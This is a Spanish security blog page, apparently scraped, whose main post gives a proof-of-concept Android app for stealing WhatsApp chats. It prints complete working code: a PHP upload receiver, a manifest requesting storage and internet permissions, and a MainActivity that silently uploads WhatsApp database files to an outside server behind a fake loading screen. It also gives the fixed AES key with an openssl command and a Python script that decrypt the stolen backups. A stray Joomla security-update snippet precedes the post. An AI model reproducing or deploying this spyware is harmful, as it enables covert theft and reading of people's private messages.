Anuncio oficial y lista de cambios: <a href="http://www.joomla.org/announcements/release-news/5537-joomla-2-5-19-released.html" rel="nofollow" target="_blank">Joomla! 2.5.19</a> y <a href="http://www.joomla.org/announcements/release-news/5538-joomla-3-2-3-released.html" rel="nofollow" target="_blank">3.2.3</a> 
 
Fuente: <a href="http://www.daboweb.com/2014/03/06/breves-disponibles-joomla-2-5-19-y-3-2-3-actualizaciones-de-seguridad/" rel="nofollow" target="_blank">Daboweb</a><div style="background-color: white; border: medium none; color: black; overflow: hidden; text-align: left; text-decoration: none;">
 </div>

En febrero saltó a la palestra una grave vulnerabilidad de inyección SQL que afectaba al gestor de contenidos Joomla!, reportada por killa...

Aplicación Android para robar y leer chats de WhatsApp en Android (PoC)

¿Es
 posible subir y leer los chats de Whatsapp de un smartphone desde otra 
aplicación de Android? Por supuesto que sí. Sólo necesitamos que la 
aplicación maliciosa haya sido instalada aceptando los permisos para 
leer la tarjeta SD del dispositivo 
(android.permission.READ_EXTERNAL_STORAGE). 
 
 
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpyPu-BRQjrR-PJc0N3y1EZA1S0xVMnLKS9jneTPr0O_MypnsWOZbe9ZCvI9TlUeNcBFtv547xU7i5UerYCR2tsnQmSNs8MUl5ZaMGXSViOeJ3vxl4p4KaGbKFuLBIQsZQWwn-HhSTzAK/s1600/whatsapp-hack-valunerbility-app.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="251" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdpyPu-BRQjrR-PJc0N3y1EZA1S0xVMnLKS9jneTPr0O_MypnsWOZbe9ZCvI9TlUeNcBFtv547xU7i5UerYCR2tsnQmSNs8MUl5ZaMGXSViOeJ3vxl4p4KaGbKFuLBIQsZQWwn-HhSTzAK/s1600/whatsapp-hack-valunerbility-app.jpg" width="400" /></a></div>
 Hace unos meses se publicó en algunos foros una guía paso a paso para montar nuestro propio Whatsapp Stealer y ahora <a href="http://bas.bosschert.nl/steal-whatsapp-database/" target="_blank">Bas Bosschert ha publicado una PoC</a> con unas pocas modificaciones. Para empezar con la prueba de concepto (y ojo que digo PoC que nos conocemos ;)) tenemos que publicar en nuestro webserver un php para subir las bases de datos de Whatsapp:
 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?php
// Upload script to upload Whatsapp database
// This script is for testing purposes only.
 
$uploaddir = "/tmp/whatsapp/";
 
if ($_FILES["file"]["error"] > 0)
  {
  echo "Error: " . $_FILES["file"]["error"] . " ";
  }
else
  {
  echo "Upload: " . $_FILES["file"]["name"] . " ";
  echo "Type: " . $_FILES["file"]["type"] . " ";
  echo "Size: " . ($_FILES["file"]["size"] / 1024) . " kB ";
  echo "Stored in: " . $_FILES["file"]["tmp_name"];
 
  $uploadfile = $uploaddir . $_SERVER['REMOTE_ADDR'] . "." . basename($_FILES['file']['name']);
  move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile);
  }
?>
 
<html><head><title>Shoo.. nothing here</title></head><body><form method="post" enctype="multipart/form-data"><input type="file" name="file" id="file"><input type="submit" value="Submit"></form></body></html></code></pre>


 Después debemos configurar nuestro php.ini para subir ficheros grandes: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>...
file_uploads = On
post_max_size = 32M
upload_max_filesize = 32M</code></pre>

<a href="https://www.blogger.com/null" name="more"></a>
 Lo siguiente que necesitamos es crear la aplicación de Android que 
suba los ficheros de la base de datos de WhatsApp hacia el servidor web.
 Para ello creamos un proyecto en Eclipse y empezamos modificando el 
fichero AndroidManifest.xml para solicitar los permisos para leer la tarjeta SD e Internet: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="bb.security.whatsappupload"
    android:versionCode="1"
    android:versionName="1.0" >
 
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
 
    <uses-sdk
        android:minSdkVersion="8"
        android:targetSdkVersion="19" />
 
    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
 
        <activity
            android:name="bb.security.whatsappupload.MainActivity"
            android:label="@string/app_name" >
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
 
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>
 
</manifest></code></pre>


 Para la disposición podemos utilizar el diseño predeterminado que 
crea Eclipse, si acaso podemos mover el TextView al centro y aumentar el
 tamaño del texto. La subida del fichero ocurre antes de ver el layout, 
para esta prueba de concepto de este activity_main.xml es lo suficientemente bueno: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingBottom="@dimen/activity_vertical_margin"
    android:paddingLeft="@dimen/activity_horizontal_margin"
    android:paddingRight="@dimen/activity_horizontal_margin"
    android:paddingTop="@dimen/activity_vertical_margin"
    tools:context=".MainActivity" >
 
    <TextView
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_alignParentTop="true"
        android:layout_centerHorizontal="true"
        android:layout_marginTop="179dp"
        android:text="@string/hello_world"
        android:textSize="24sp" />
 
</RelativeLayout></code></pre>


 A continuación tenemos que crear la función MainActivity.java para subir cada uno de los ficheros:     - /WhatsApp/Databases/msgstore.db     - /WhatsApp/Databases/wa.db     - /WhatsApp/Databases/msgstore.db.crypt 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; height: 400px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>package bb.security.whatsappupload;
 
/*
* This application is for testing purposes only.
* Use of this application is at your own risk.
*/
 
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
 
import android.os.AsyncTask;
import android.os.Bundle;
import android.os.Environment;
import android.app.Activity;
import android.app.ProgressDialog;
import android.util.Log;
import android.view.Menu;
 
public class MainActivity extends Activity {
 
    //A ProgressDialog object
    private ProgressDialog progressDialog;
 
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        new UploadWhatsApp().execute();
    }
 
    @Override
    public boolean onCreateOptionsMenu(Menu menu) {
        // Inflate the menu; this adds items to the action bar if it is present.
        getMenuInflater().inflate(R.menu.main, menu);
        return true;
    }
 
    @SuppressWarnings("deprecation")
    private void uploadFile(String file) {
        HttpURLConnection conn = null;
        DataOutputStream dos = null;
        DataInputStream inStream = null;
 
        Log.i("FILE", "Filename:\n" + file);
 
        String lineEnd = "\r\n";
        String twoHyphens = "--";
        String boundary = "*****";
        int bytesRead, bytesAvailable, bufferSize;
        byte[] buffer;
        int maxBufferSize = 1 * 1024 * 1024 * 1024;
        String urlString = "http://bas.bosschert.nl/whatsapp/upload_wa.php";
        try {
            //     ------------------ CLIENT REQUEST
            FileInputStream fileInputStream = new FileInputStream(new File(
                    file));
            // open a URL connection to the Servlet
            URL url = new URL(urlString);
            // Open a HTTP connection to the URL
            conn = (HttpURLConnection) url.openConnection();
            // Allow Inputs
            conn.setDoInput(true);
            // Allow Outputs
            conn.setDoOutput(true);
            // Don't use a cached copy.
            conn.setUseCaches(false);
            // Use a post method.
            conn.setRequestMethod("POST");
            conn.setRequestProperty("Connection", "Keep-Alive");
            conn.setRequestProperty("Content-Type",
                    "multipart/form-data;boundary=" + boundary);
            dos = new DataOutputStream(conn.getOutputStream());
            dos.writeBytes(twoHyphens + boundary + lineEnd);
            dos.writeBytes("Content-Disposition: form-data; name=\"file\";filename=\""
                    + file + "\"" + lineEnd);
            dos.writeBytes(lineEnd);
            // create a buffer of maximum size
            bytesAvailable = fileInputStream.available();
            bufferSize = Math.min(bytesAvailable, maxBufferSize);
            buffer = new byte[bufferSize];
            // read file and write it into form...
            bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            while (bytesRead > 0) {
                dos.write(buffer, 0, bufferSize);
                bytesAvailable = fileInputStream.available();
                bufferSize = Math.min(bytesAvailable, maxBufferSize);
                bytesRead = fileInputStream.read(buffer, 0, bufferSize);
            }
            // send multipart form data necesssary after file data...
            dos.writeBytes(lineEnd);
            dos.writeBytes(twoHyphens + boundary + twoHyphens + lineEnd);
            // close streams
            Log.e("Debug", "File is written");
            fileInputStream.close();
            dos.flush();
            dos.close();
        } catch (MalformedURLException ex) {
            Log.e("Debug", "error: " + ex.getMessage(), ex);
        } catch (IOException ioe) {
            Log.e("Debug", "error: " + ioe.getMessage(), ioe);
        }
        // ------------------ read the SERVER RESPONSE
        try {
            if (conn != null){
                inStream = new DataInputStream(conn.getInputStream());
                String str;
 
                while ((str = inStream.readLine()) != null) {
                    Log.e("Debug", "Server Response " + str);
                }
                inStream.close();
            }
 
        } catch (IOException ioex) {
            Log.e("Debug", "error: " + ioex.getMessage(), ioex);
        }
    }
 
    private class UploadWhatsApp extends AsyncTask<Void, Integer, Void>{
 
        @Override
        protected void onPreExecute()
        {
            //Create a new progress dialog
            progressDialog = ProgressDialog.show(MainActivity.this,"Loading Application, please wait...",
                    "Loading, please wait...", false, false);
        }
 
        //The code to be executed in a background thread.
        @Override
        protected Void doInBackground(Void... params)
        {
 
            String fileWACrypt = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db.crypt";
            String fileWAPlain = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/msgstore.db";
            String fileWAwa = Environment.getExternalStorageDirectory()
                    .getPath() + "/WhatsApp/Databases/wa.db";
 
            MainActivity.this.uploadFile(fileWACrypt);
            MainActivity.this.uploadFile(fileWAPlain);
            MainActivity.this.uploadFile(fileWAwa);
            return null;
        }
 
        //Update the progress
        @Override
        protected void onProgressUpdate(Integer... values)
        {
            //set the current progress of the progress dialog
            progressDialog.setProgress(values[0]);
        }
 
        //after executing the code in the thread
        @Override
        protected void onPostExecute(Void result)
        {
            //close the progress dialog
            progressDialog.dismiss();
            //initialize the View
            setContentView(R.layout.activity_main);
        }
 
    }
}</code></pre>


    msgstore.db y wa.db son bases de datos sin cifrar utilizados en 
antiguas versiones de Whatsapp. Msgstore.db.crypt está cifrado con AES, 
pero siempre usando la misma clave tanto para cifrar como descifrar: 
346a23652a46392b4d73257c67317e352e3372482177652c. Por lo tanto podremos descifrarla una vez obtenido mediante: openssl enc -d -aes-192-ecb -in msgstore.db.crypt -out msgstore.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c o mediante el siguiente script en Python: 
<pre class="prettyprint prettyprinted" style="background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: Andale Mono,Lucida Console,Monaco,fixed,monospace; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>#!/usr/bin/env python
 
import sys
from Crypto.Cipher import AES
 
try:
    wafile=sys.argv[1]
except:
    print "Usage: %s <msgstore.db.crypt>" % __file__
    sys.exit(1)
 
key = "346a23652a46392b4d73257c67317e352e3372482177652c".decode('hex')
cipher = AES.new(key,1)
open('msgstore.db',"wb").write(cipher.decrypt(open(wafile,"rb").read()))</code></pre>



  
Y ya está, así de sencillo. Podremos estar leyendo los chats de WhatsApp de las bases de datos extraídas... 
 
Fuente: <a href="http://www.hackplayers.com/2014/03/aplicacion-android-para-robar-y-leer-whatsapp.html" target="_blank">hackplayers</a>

¿Es posible subir y leer los chats de Whatsapp de un smartphone desde otra aplicación de Android? Por supuesto que sí. Sólo necesitamos qu...